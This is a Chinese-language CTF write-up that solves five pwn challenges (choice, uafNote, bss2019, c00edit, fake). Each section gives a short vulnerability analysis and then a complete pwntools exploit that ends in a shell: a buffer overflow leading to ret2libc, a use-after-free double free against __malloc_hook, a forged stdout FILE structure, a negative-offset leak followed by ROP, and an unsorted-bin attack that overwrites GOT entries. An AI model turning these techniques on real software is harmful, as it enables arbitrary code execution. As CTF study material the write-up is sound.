最近这个打stdout的题真多。这个比赛没打。拿到附件作了一天。
choice
32位,libc-2.23-i386,nbytes初始值为0x14,读入0x804A04C 0x14字节后会覆盖到nbytes 1个字节。当再次向v1读入nbytes字节时会造成溢出。
先写0x14+p8(0xff)覆盖到nbytes然后溢出写传统的两回合puts(got.puts) ,system(bin/sh)
from pwn import *elf = ELF('./choice')
libc = ELF('./libc-2.23.so')
p = process('./choice')
context(arch='i386', log_level='debug')p.sendafter(b"Please enter your name:\n", b'A'*0x14 + p8(0xff)) #nbytes=0xffpay = flat([b'\x00'*(28+4), elf.plt['puts'], 0x804857b, elf.got['puts']])p.sendlineafter(b"3. Study hard from now\n", b'2')
p.sendafter(b"Cool! And whd did you choice it?\n", pay)p.recvuntil(b"Good bye!\n")
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")pay = flat([b'\x00'*(28+4), libc.sym['system'], 0x804857b, next(libc.search(b'/bin/sh\x00'))])
p.sendafter(b"Cool! And whd did you choice it?\n", pay)p.interactive()
uafNote
标准的菜单堆题有add,free,show, libc-2.23都是低版本的libc有点像是古代的题重拿回来了。
在free没有清指针有UAF,通过名字也能知道。add建块也没有大小限制,所以直接建0x80的块释放show得到libc地址,然后1-2-1进行double free在malloc前利用错位的0x7f建块在malloc写one
void delete()
{unsigned int num; // [rsp+Ch] [rbp-4h]printf("index:");num = read_num();if ( num <= 0xF )free((void *)ptr_table[num]);
}
from pwn import *elf = ELF('./uafNote')
libc = ELF('./libc-2.23.so')def add(size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"size:", str(size).encode())p.sendlineafter(b"content:", msg)def free(idx):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"index:", str(idx).encode())def show(idx):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"index:", str(idx).encode())p = process('./uafNote')
context(arch='amd64', log_level='debug')add(0x80)
add(0x60)
add(0x60)free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")#double free malloc->one
one = [0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + one[1]
free(1)
free(2)
free(1)
add(0x60, p64(libc.sym['__malloc_hook'] - 0x23))
add(0x60)
add(0x60)
add(0x60, b'\x00'*0x13 + p64(one_gadget))#
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"size:", b'8')p.interactive()
bss2019
这是2019年的题吧,先给了加载地址,相当于没开pie
__int64 __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);puts("Gift:");printf("%p\n", &unk_202060);sub_9E0();return 0LL;
}
然后进入菜单,1是show,可以指定负值,2是edit也可以指定负值最小-64
基地址0x202060的前边0x202020就是stdout通过造一个fake_io_file,然后把stdout指过来。也算是个板子题了。
from pwn import *elf = ELF('./bss2019')
libc = ELF('./libc-2.23.so')
context(arch='amd64', log_level='debug')p = process('./bss2019')p.recvuntil(b"Gift:\n")
elf.address = int(p.recvline(),16) - 0x202060p.sendlineafter(b"Choice:", b'1')
p.sendlineafter(b"Offset:\n", b'-64')
p.recvuntil(b"This is your data:\n")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
print(f"{elf.address = :x} {libc.address = :x}")#gdb.attach(p, "b*0x0000555555400b65\nc")
io_file = b' sh;'+p32(0) + p64(0)*4 + p64(1)
io_file = io_file.ljust(0x88,b'\x00') + p64(elf.address + 0x202200)
io_file = io_file.ljust(0xd8,b'\x00') + p64(elf.address + 0x202050 + 0xd8) #ptr->self
io_file += b'\x00'*0x30 + p64(libc.sym['system'])p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-16')
p.sendlineafter(b"Size:\n", str(len(io_file)).encode())
p.sendlineafter(b"Input data:", io_file)p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-64')
p.sendlineafter(b"Size:\n", b'8')
p.sendlineafter(b"Input data:", p64(elf.address +0x202050))p.interactive()
'''
0x555555602020 <stdout>: 0x0000555555602050 0x0000000000000000
0x555555602030 <stdin>: 0x00007ffff7bc48e0 0x0000000000000000
0x555555602040 <stderr>: 0x00007ffff7bc5620 0x0000000000000000
0x555555602050: 0x000000003b687320 0x0000000000000000 <-- ' sh;\0\0\0\0\'
0x555555602060: 0x0000000000000000 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000001
0x555555602080: 0x0000000000000000 0x0000000000000000
0x555555602090: 0x0000000000000000 0x0000000000000000
0x5555556020a0: 0x0000000000000000 0x0000000000000000
0x5555556020b0: 0x0000000000000000 0x0000000000000000
0x5555556020c0: 0x0000000000000000 0x0000000000000000
0x5555556020d0: 0x0000000000000000 0x0000555555602200 <-- 指向0
0x5555556020e0: 0x0000000000000000 0x0000000000000000
0x5555556020f0: 0x0000000000000000 0x0000000000000000
0x555555602100: 0x0000000000000000 0x0000000000000000
0x555555602110: 0x0000000000000000 0x0000000000000000
0x555555602120: 0x0000000000000000 0x0000555555602128 <--指向自己
0x555555602130: 0x0000000000000000 0x0000000000000000
0x555555602140: 0x0000000000000000 0x0000000000000000
0x555555602150: 0x0000000000000000 0x0000000000000000
0x555555602160: 0x00007ffff7845390 <-- system
'''
前两天一个c00edit也是这个stdout的题一并拿过来
c00edit
菜单题,但是只有add和edit两个功能
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{__int64 v3; // rdx__int64 result; // raxwhile ( 2 ){sub_12A9();switch ( sub_12FE(a1, a2) ){case 1LL:m1add();continue;case 2LL:case 4LL:a1 = "Not implemented!";puts("Not implemented!");continue;case 3LL:m3edit((__int64)a1, (__int64)a2, v3);continue;case 5LL:result = 0LL;break;default:puts("invalid choice");result = 0xFFFFFFFFLL;break;}break;}return result;
}
add先建一个管理块,管理块是size,ptr 。edit在idx和offset都没限制负值,所以可以前溢出,唯一麻烦的是每次只能写8字节。如果写stdout也就只能改一个位置。
int __fastcall sub_13CA(__int64 a1, __int64 a2, __int64 a3)
{const char *v3; // rdi__int64 v4; // rdx__int64 v5; // rbp__int64 v6; // rbxint result; // eaxv3 = "No chance!";if ( dword_40E0 > 16 )return puts(v3);__printf_chk(1LL, "Index: ", a3);v3 = "Invalid index!";v5 = sub_12FE(1LL, "Index: ");if ( !*((_QWORD *)&qword_4060 + v5) )return puts(v3);__printf_chk(1LL, "Offset: ", v4);v6 = sub_12FE(1LL, "Offset: ");if ( v6 + 7 >= **((_QWORD **)&qword_4060 + v5) ){v3 = "Invalid offset!";return puts(v3);}__printf_chk(1LL, "Content: ", v6 + 7);result = read(0, (void *)(*(_QWORD *)(*((_QWORD *)&qword_4060 + v5) + 8LL) + v6), 8uLL);++dword_40E0;return result;
}
首先利用指针前溢出指向stdout,在stdout头部的标识和指针当作是管理块的地址利用负偏移修改头和io_write_end输出得到libc
#0x7ffff7e1a780 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7e1a803
然后再将这个位置改到environ输入栈地址,由于栈地址比较远需要输出的部分较长。
然后建个块,把管理块的指针改为栈的返回地址,直接写rop
from pwn import *p = process('./chall')
libc = ELF('./libc.so.6')context(arch='amd64', log_level= 'debug')def add():p.sendlineafter(b"Your choice: ", b'1')def edit(idx,off,msg):p.sendlineafter(b"Your choice: ", b'3')p.sendlineafter(b"Index: ", str(idx).encode())p.sendlineafter(b"Offset: ", str(off).encode())p.sendafter(b"Content: ", msg)#0x7ffff7e1a780 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007ffff7e1a803
edit(-8, -0x83, p64(0xfbad1887))
edit(-8, -0x83+0x28, p8(0x10)) #_IO_write_end p.recv(5)
libc.address = u64(p.recv(8)) - 0x21ba70
print(f"{ libc.address = :x}")#gdb.attach(p, "b*0x555555555180\nc")edit(-8, -0x83+0x28, p64(libc.sym['environ']+8))
stack = u64(p.recvuntil(b'1. add', drop=True)[-8:]) - 0x120
print(f"{ stack = :x}")pop_rdi = libc.address + 0x000000000002a3e5
rop = [pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']]
for i in range(len(rop)):add()edit(i, -0x18, p64(stack + i*8))edit(i, 0, p64(rop[i]))p.sendlineafter(b"Your choice: ", b'5')
p.interactive()
fake
这题据说是个0解题,终于解出来。
一个菜单题,但建块的大小是固定的0x1000,并且没有show,释放后会进入unsort再建块会用掉,而且unsort attack由于并未得到libc所以也就无法修改global_max_fast也就无法用fastbin attack.
这里有一个不常用的攻击unsort attack一般情况下通过修改bk会在指定位置写一个指针(unsort寺址)这个地址是固定的,所以一般无法直接实现攻击。
先看正常情况下的unsort结构,释放到unsort的块fp,bk两个指针指向4b78的位置,在4b88的位置也有两个指针指向释放到unsort的块。实际上只使用bk这个指针。
首先进行unsort attack在0x60b018的位置写入一个指针区的地址,将来会有一个4b78的值会写到指针区,控制4b78开始的一块区域。
有开始的时候写passwd时可以在0x6020f0写个0x1010作为头标识(unsort建块时会检查头大小)将0x6020e8作为unsort的块,那么刚写的这个指针就在bk的位置
这时候heap[0]可以控制unsort的指针区,修改指针区,让他指向6020e8,这时候就作成了一个伪造好的unsort
这时候再建块就会建到伪造的heap指针区前边,控制指针区,也就可以达到任意读写的目的了。
后边直接写3个指针,一个指向got.free 将来把它改成plt.puts+6得到libc,第2个指针指向puts将来泄露用,第3个指针指向/bin/sh,将free改成system后直接释放它得到shell
from pwn import *elf = ELF('./fake')
libc = ELF('./libc-2.23.so')def add(idx,msg=b'A'):p.sendlineafter(b'Your choice:', b'1')p.sendlineafter(b"Index:", str(idx).encode())p.sendlineafter(b"Content:", msg)def free(idx):p.sendlineafter(b'Your choice:', b'3')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx, msg):p.sendlineafter(b'Your choice:', b'2')p.sendlineafter(b"Index:", str(idx).encode())p.send(msg)p = process('./fake')
context(arch='amd64', log_level='debug')p.sendafter(b"Enter your password:\n", flat(0,0,0x1010))add(0)
add(1)
free(0)edit(0, flat(0,0x6020f0))
add(2)
edit(0, flat(0,0,0x6020e8,0x6020e8))
add(3, flat(0,0x602018,0x602020,0x602118, b'/bin/sh\x00'))
#0->got.free 1->got.puts
edit(0, p64(elf.plt['puts']+6)[:-1]) #free->puts
free(1)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")edit(0, p64(libc.sym['system'])[:-1]) #free->systemfree(2)
p.interactive()